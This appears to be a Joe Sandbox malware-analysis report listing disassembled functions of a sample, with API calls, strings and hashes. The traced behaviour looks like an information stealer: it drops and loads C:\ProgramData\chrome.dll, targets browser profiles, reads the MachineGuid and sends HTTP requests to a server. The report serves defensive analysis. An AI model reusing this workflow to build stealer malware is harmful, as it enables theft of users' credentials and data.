Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocCurrentDirectoryInformationProcessProfileVolumeWindows_memsetlstrcpylstrlenmallocstrncpywsprintf
String ID: :\$C$QuBi
API String ID: 1856320939-239756005
Opcode ID: 46f9c51eebacc514d902c510a5f97c83c248089cee94a54b85ae1f2405deef70
Instruction ID: 387a155c83683fe3d7746e05b28f93743414031ed0c307f567283ae08f3656e7
Opcode Fuzzy Hash: 46f9c51eebacc514d902c510a5f97c83c248089cee94a54b85ae1f2405deef70
Instruction Fuzzy Hash: EB419F7290012CAFCB249F759D49AEEBABCAF09300F0040E5F649E2125DA749F919F94

Function 00FEEC70 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 331COMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF2818: CreateFileA.KERNEL32(00FEECA7,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00FEECA7,C:\ProgramData\chrome.dll,?,?,?), ref: 00FF2832

Part of subcall function 00FE859F: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,00FEECAF), ref: 00FE85A4

StrCmpCA.SHLWAPI(8D5052FC), ref: 00FEECD3
StrCmpCA.SHLWAPI(8D5052FC), ref: 00FEED4A
StrCmpCA.SHLWAPI(8D5052FC,firefox), ref: 00FEF05E
StrCmpCA.SHLWAPI(8D5052FC), ref: 00FEEE40

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

StrCmpCA.SHLWAPI(8D5052FC), ref: 00FEEEF1
StrCmpCA.SHLWAPI(8D5052FC), ref: 00FEEF68

Strings

Stable\, xrefs: 00FEEF83
Stable\, xrefs: 00FEED65
firefox, xrefs: 00FEF058
C:\ProgramData\chrome.dll, xrefs: 00FEEC98

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcpy$CreateFileLibraryLoad
String ID: Stable\$ Stable\$C:\ProgramData\chrome.dll$firefox
API String ID: 781932549-1706742824
Opcode ID: d9ec38415a1a45c3a46919117780d4f922d79715c9f3ae664db8da63efeb26d1
Instruction ID: 082f8a6e77e19a23bcfa8db1a2ef7a2b7bfb057228cdb02aff75294193ced7e6
Opcode Fuzzy Hash: d9ec38415a1a45c3a46919117780d4f922d79715c9f3ae664db8da63efeb26d1
Instruction Fuzzy Hash: ABC18C33C001099BCB20FBA9ED47A9DB775BF40310F914151EE04A7256EA79AA19EBD2

Function 00FF6AA3 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 79stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FE6955: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00FE69B7
Part of subcall function 00FE6955: StrCmpCA.SHLWAPI(?), ref: 00FE69D1
Part of subcall function 00FE6955: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FE6A00
Part of subcall function 00FE6955: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00FE6A3F
Part of subcall function 00FE6955: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00FE6A6F
Part of subcall function 00FE6955: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FE6A7A
Part of subcall function 00FE6955: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00FE6A9E

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

StrCmpCA.SHLWAPI(?,ERROR), ref: 00FF6AF7
lstrlenA.KERNEL32(?), ref: 00FF6B02

Part of subcall function 00FF2042: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00FF6B0E,?), ref: 00FF205A

StrStrA.SHLWAPI(00000000,?), ref: 00FF6B17
lstrlenA.KERNEL32(?), ref: 00FF6B26
lstrlenA.KERNEL32(00000000), ref: 00FF6B3F

Strings

ERROR, xrefs: 00FF6B62
ERROR, xrefs: 00FF6B54
ERROR, xrefs: 00FF6B4A
ERROR, xrefs: 00FF6AF1
ERROR, xrefs: 00FF6B5B

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$OpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 4174444224-1526165396
Opcode ID: 74320c4469b03b7bc332c63f4d6dbef438e3a792f4f1acca9e35902f88669821
Instruction ID: 8dbec81737934c77f8411186eb6f8cda2c7aa037c850680a2b1f45952ae9fbce
Opcode Fuzzy Hash: 74320c4469b03b7bc332c63f4d6dbef438e3a792f4f1acca9e35902f88669821
Instruction Fuzzy Hash: 31217132D00148ABCB20BB75EC4A9BE7BA8AF45710B118465FF40EB127DE799D05AB91

Function 00FF721E Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 597networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF0E76: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FE13A9), ref: 00FF0E82
Part of subcall function 00FF0E76: HeapAlloc.KERNEL32(00000000,?,?,?,00FE13A9), ref: 00FF0E89
Part of subcall function 00FF0E76: GetUserNameA.ADVAPI32(00000000,00FE13A9), ref: 00FF0E9D

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

CloseHandle.KERNEL32(00000000,?,?,?,?,00FF8011), ref: 00FF72AB
OpenEventA.KERNEL32(001F0003,00000000,?,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF72B7
CreateEventA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,00FF8011), ref: 00FF72C8
CreateDirectoryA.KERNEL32(?,00000000,010157A7), ref: 00FF74ED
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00FF75AB
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00FF75BE

Part of subcall function 00FF0BC5: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 00FF0BF8
Part of subcall function 00FF0BC5: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00FF0C38
Part of subcall function 00FF0BC5: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00FF0C8D
Part of subcall function 00FF0BC5: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00FF0C94

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FE4B20: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00FE4BBF
Part of subcall function 00FE4B20: StrCmpCA.SHLWAPI(?), ref: 00FE4BDD

Part of subcall function 00FF3B9F: StrCmpCA.SHLWAPI(?,block,?,?,00FF761B), ref: 00FF3BB4
Part of subcall function 00FF3B9F: ExitProcess.KERNEL32 ref: 00FF3BBF

Part of subcall function 00FE5F2B: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00FE5FCA
Part of subcall function 00FE5F2B: StrCmpCA.SHLWAPI(?), ref: 00FE5FE8

Part of subcall function 00FF335C: strtok_s.MSVCRT ref: 00FF337B
Part of subcall function 00FF335C: strtok_s.MSVCRT ref: 00FF33FE

Sleep.KERNEL32(000003E8), ref: 00FF7971

Part of subcall function 00FE5F2B: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FE6180
Part of subcall function 00FE5F2B: HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00FE61C4
Part of subcall function 00FE5F2B: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00FE61F2

Part of subcall function 00FF2913: SHFileOperationA.SHELL32(?), ref: 00FF2949

CloseHandle.KERNEL32(?), ref: 00FF7A6A

Part of subcall function 00FF7CF3: _memset.LIBCMT ref: 00FF7D18
Part of subcall function 00FF7CF3: _memset.LIBCMT ref: 00FF7D27
Part of subcall function 00FF7CF3: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 00FF7D3C
Part of subcall function 00FF7CF3: ShellExecuteEx.SHELL32(?), ref: 00FF7ED8
Part of subcall function 00FF7CF3: _memset.LIBCMT ref: 00FF7EE7
Part of subcall function 00FF7CF3: _memset.LIBCMT ref: 00FF7EF9

Strings

a21440e9f7223be06be5f5e2f94969c7, xrefs: 00FF75E3

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: InternetOpen$Heap_memsetlstrcpy$Process$AllocCloseCreateDirectoryEventFileHandleNamestrtok_s$ConnectExecuteExitHttpInformationModuleOperationOptionRequestShellSleepUserVolumeWindowslstrcatlstrlen
String ID: a21440e9f7223be06be5f5e2f94969c7
API String ID: 1938121317-1852621708
Opcode ID: ccde59f026c8be3b18dedae95943c4141e410ad7345ea0e34fda74d040fcd177
Instruction ID: 779e940c2bce3f3b9cd744e014983eeb38349bc3549f55e61969b241076fbb4b
Opcode Fuzzy Hash: ccde59f026c8be3b18dedae95943c4141e410ad7345ea0e34fda74d040fcd177
Instruction Fuzzy Hash: A23261729083849BC620FF25DC476AEF7E5BFC0310F51491AFA8857262DB746A09DB93

Function 00FF17F7 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FF182A
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00FF1849
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 00FF186E
RegCloseKey.ADVAPI32(?,?,?,?), ref: 00FF187A
CharToOemA.USER32(?,?), ref: 00FF188E

Strings

MachineGuid, xrefs: 00FF1863
SOFTWARE\Microsoft\Cryptography, xrefs: 00FF183F

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2235053359-1211650757
Opcode ID: e91e839afa8c0cbc4d8756719899b1fec4f5a236af82f22770f7ffb574926eee
Instruction ID: f208d2eeb2ddf6cbc0c6144fa74b03ade41e34beeae844d0356bd7408b67b56c
Opcode Fuzzy Hash: e91e839afa8c0cbc4d8756719899b1fec4f5a236af82f22770f7ffb574926eee
Instruction Fuzzy Hash: 9D1161B594021DAFDB20DF90DD89EEAB7BCEB04304F4041A5B659E6051E774AE888F50

Function 00FE859F Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,00FEECAF), ref: 00FE85A4
GetProcAddress.KERNEL32(00000000,connect_to_websocket), ref: 00FE85C4
GetProcAddress.KERNEL32(free_result), ref: 00FE85D6
FreeLibrary.KERNEL32 ref: 00FE85F1

Strings

connect_to_websocket, xrefs: 00FE85BE
free_result, xrefs: 00FE85C6
C:\ProgramData\chrome.dll, xrefs: 00FE859F

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$FreeLoad
String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
API String ID: 2256533930-1545816527
Opcode ID: 513db1e216d392a8f8615afe8e8a16a5a65c2f5ded35c59e62fc2a327ef91c68
Instruction ID: d5ce9c3829922ded3e7747f0ececd44025e05445e42ff4fd1d662a42779147dd
Opcode Fuzzy Hash: 513db1e216d392a8f8615afe8e8a16a5a65c2f5ded35c59e62fc2a327ef91c68
Instruction Fuzzy Hash: 97F0ED70D413519FCB72AF72FD0D5963AE5BB28362B05842AFA44D610DEFBA8401AF40

Function 6CD60B6A Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6CD60BB1
___scrt_uninitialize_crt.LIBCMT ref: 6CD60BCB

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: c4fc907a6221121f30112cb8dd8442aaf7046a9ca4810f6c2cedce91afc6640b
Instruction ID: a30a695a7f9a0ffa7c154a09cb18d2ae9b31489b4450918ebfffce09f7afdbf1
Opcode Fuzzy Hash: c4fc907a6221121f30112cb8dd8442aaf7046a9ca4810f6c2cedce91afc6640b
Instruction Fuzzy Hash: 5541C572E01298EFDB118F6BC840BAE7AB5EB417D8F118519E81567F60C730A905CBB8

Function 00FF0D53 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00FF4072,Windows: ,01015888), ref: 00FF0D67
HeapAlloc.KERNEL32(00000000,?,?,?,00FF4072,Windows: ,01015888), ref: 00FF0D6E
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,01015870,?,?,?,00FF4072,Windows: ,01015888), ref: 00FF0D9C
RegQueryValueExA.KERNEL32(01015870,00000000,00000000,00000000,000000FF,?,?,?,00FF4072,Windows: ,01015888), ref: 00FF0DB8
RegCloseKey.ADVAPI32(01015870,?,?,?,00FF4072,Windows: ,01015888), ref: 00FF0DC1

Strings

Windows 11, xrefs: 00FF0D7F

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

